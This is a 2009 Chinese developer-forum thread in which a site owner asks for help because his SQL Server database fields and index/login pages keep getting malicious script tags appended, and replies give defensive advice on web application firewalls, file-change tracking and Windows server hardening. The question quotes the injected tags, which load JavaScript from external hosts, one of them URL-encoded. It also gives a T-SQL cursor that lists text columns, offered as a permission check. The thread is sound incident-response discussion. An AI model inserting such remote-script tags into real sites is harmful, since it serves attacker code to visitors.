首页 新闻 搜索 专区 学院

js注入问题

2
悬赏园豆:50 [已关闭问题]

很近公司的网站老是被注入js代码,而且情况还很严重,希望高手门帮忙解决一下

被注入的情况分为两种:

1.sql数据库内容被注入了,数据库中部分字符串字段后面加上"<script src=http://8889.ss.la></script>类似的js代码,虽然我通过命令把内容改过来了,可是几天后又被注入了,我在网上看了很多解决办法都没有效果,

我看有一个朋友是这样说的:

彻底杜绝SQL注入

1.不要使用sa用户连接数据库
2、新建一个public权限数据库用户,并用这个用户访问数据库
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):
DECLARE   @T   varchar(255),
@C   varchar(255)
DECLARE   Table_Cursor   CURSOR   FOR
Select   a.name,b.name   from   sysobjects   a,syscolumns   b
where   a.id=b.id   and   a.xtype= 'u '   and   (b.xtype=99   or   b.xtype=35   or   b.xtype=231   or   b.xtype=167)  
OPEN   Table_Cursor
FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN   print   @c
FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C  
END
CLOSE   Table_Cursor
DEALLOCATE   Table_Cursor  

但这样操作之后,就不能对数据库的表进行查询了,不知道还有那个高手有高招,帮忙解决一下,

2.还有就是公司的页面文件也经常被注入js代码,特别是文件文件是index,login等类型的网页文件被注入的几率最好,被注入后网页文件后面就多了一个<script src=http://%78%74%72%61%64%65%73%2E%63%6F%6D%2E%63%6E></script><script src=http://%78%74%72%61%64%65%73%2E%63%6F%6D%2E%63%6E></script>类似的代码,被注入的时间大多数都在星期6和星期天的午夜时间。

这些可能是网站被挂马了,可是杀毒软件查不出来,网页文件太多了,根本找不到木马程序,希望高手能帮帮看一下,小弟感激不尽

海岸线的主页 海岸线 | 初学一级 | 园豆:95
提问于:2009-09-13 17:00
< >
分享
其他回答(3)
0

2、找文件,有个方法推荐下:

http://www.cnblogs.com/downmoon/archive/2009/08/20/1550427.html

有很多可能:sql注入或ftp、第三方控件如文本编辑器漏洞等都有可能。

邀月 | 园豆:25475 (高人七级) | 2009-09-13 22:11
0

对于数据库的盲注,用你的方法应该能解决,但其他注入方式不能完全避免。

你可以考虑增加一个应用程序防火墙,比如WebKnight(下载地址:http://aqtronix.com/downloads/WebKnight/2008.09.02/WebKnight.zip),来建立一个初步的防御系统。正好最近根据自己的经历写了一篇文章来描述如何使用WebKnight来拦截SQL注入:http://www.cnblogs.com/zhubo/archive/2009/09/06/Thinking_SQL_Injection_Protection_and_Restoring.html,你可以参考一下。

另外,针对WebServer文件的篡改,这是个最严重的问题,你应该

  • 严格检查一下自己的网站是不是被上传了基于Web的文件管理器
  • 利用SVN等版本管理软件来检查哪些文件被修改了,哪些是新增的文件,被修改的、新增的文件都有可能有问题。
  • 对于用户可上传文件的目录,禁止脚本执行权限,这样即使被上传了文件管理器,也无法执行
  • 尤其注意,如果你用过FCKeditor,千万不要开放用户浏览服务器图片的功能,该功能的文件都应该被删除掉,参见我写的另外一篇文章:http://www.cnblogs.com/zhubo/archive/2008/10/21/using_fckeditor_net.html

最后,给你几条WebServer安全配置建议:

  • 系统管理员账户最好少建,更改默认的管理员帐户名(Administrator)和描述,密码最好采用数字加大小写字母加数字的上档键组合,长度最好不少于14位。
  • 新建一个名为Administrator的陷阱帐号,为其设置最小的权限,然后随便输入组合的最好不低于20位的密码
  • 在运行中输入gpedit.msc回车,打开组策略编辑器,选择计算机配置-Windows设置-安全设置-账户策略-账户锁定策略,将账户设为“三次登陆无效”,“锁定时渖栉?0分钟”,“复位锁定计数设为30分钟”。
  • 在安全设置-本地策略-安全选项中将“不显示上次的用户名”设为启用
  • 在安全设置-本地策略-用户权利分配中将“从网络访问此计算机”中只保留Internet来宾账户、启动IIS进程账户。如果你使用了Asp.net还要保留Aspnet账户。
  • 解除NetBios与TCP/IP协议的绑定:
    右击网上邻居-属性-右击本地连接-属性-双击Internet协议-高级-Wins-禁用TCP/IP上的NETBIOS
  • 禁用不需要的服务,以下为建议选项:
    Computer Browser:维护网络计算机更新
    Distributed File System: 局域网管理共享文件
    Distributed linktracking client:用于局域网更新连接信息
    Error reporting service:禁止发送错误报告
    Microsoft Search:提供快速的单词搜索
    NTLMSecuritysupportprovide:telnet服务和Microsoft Search用的
    PrintSpooler:如果没有打印机可禁用
    Remote Registry:禁止远程修改注册表
    Remote Desktop Help Session Manager:禁止远程协助
  • 打开相应的审核策略
    推荐的要审核的项目是:
    登录事件 成功 失败
    账户登录事件 成功 失败
    系统事件 成功 失败
    策略更改 成功 失败
    对象访问 失败
    目录服务访问 失败
    特权使用 失败
另外,这些安全措施一定要形成手册,在以后的系统安装时严格执行。安全问题是个道高一尺魔高一丈的问题,不可能彻底解决,我们只有尽最大努力来做,备份要做好,一旦有足够严重的安全入侵,不能没有备份。
jblzg | 园豆:155 (初学一级) | 2009-09-14 01:28
0

学习了。。。。安全无小事

zhangkang | 园豆:16 (初学一级) | 2013-02-21 10:34
0

还好!

蜗蜗 | 园豆:202 (菜鸟二级) | 2014-05-19 14:13
清除回答草稿
   您需要登录以后才能回答,未注册用户请先注册